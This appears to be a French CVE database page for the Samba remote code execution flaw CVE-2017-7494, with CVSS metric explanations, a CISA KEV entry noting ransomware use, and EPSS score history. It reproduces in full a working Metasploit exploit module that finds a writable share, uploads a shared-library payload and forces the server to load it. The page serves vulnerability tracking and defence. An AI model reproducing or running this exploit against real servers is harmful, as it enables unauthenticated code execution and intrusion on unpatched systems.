CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Samba Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2023-03-29 22h00 +00:00
Action attendue : 2023-04-19 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
72.61%
–
–
–
–
2021-09-05
–
72.61%
–
–
–
2022-02-06
–
–
95.65%
–
–
2023-02-05
–
–
94.95%
–
–
2023-02-19
–
–
95.65%
–
–
2023-03-12
–
–
–
97.4%
–
2023-03-19
–
–
–
97.39%
–
2023-04-02
–
–
–
97.37%
–
2023-04-09
–
–
–
97.4%
–
2023-05-14
–
–
–
97.22%
–
2023-07-09
–
–
–
97.36%
–
2023-07-30
–
–
–
97.28%
–
2023-09-03
–
–
–
97.26%
–
2024-06-02
–
–
–
97.26%
–
2024-07-28
–
–
–
97.25%
–
2024-09-01
–
–
–
97.27%
–
2024-11-10
–
–
–
97.16%
–
2024-12-22
–
–
–
97.19%
–
2025-01-19
–
–
–
97.3%
–
2025-01-19
–
–
–
97.3%
–
2025-03-18
–
–
–
–
94.3%
2025-03-18
–
–
–
–
94.3,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-05-28 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
],
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
end
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def verify_writeable_directory(share, directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def enumerate_shares_lanman
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
end
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
def find_writeable_share_path
@path = nil
share_info = enumerate_shares_lanman
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd.close
@payload_name = random_filename
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
end
end
end
def find_payload
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Trying to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
end
end
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
connect
smb_login
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
end
Products Mentioned
Configuraton 0
Samba>>Samba >> Version From (including) 3.5.0 To (excluding) 4.4.0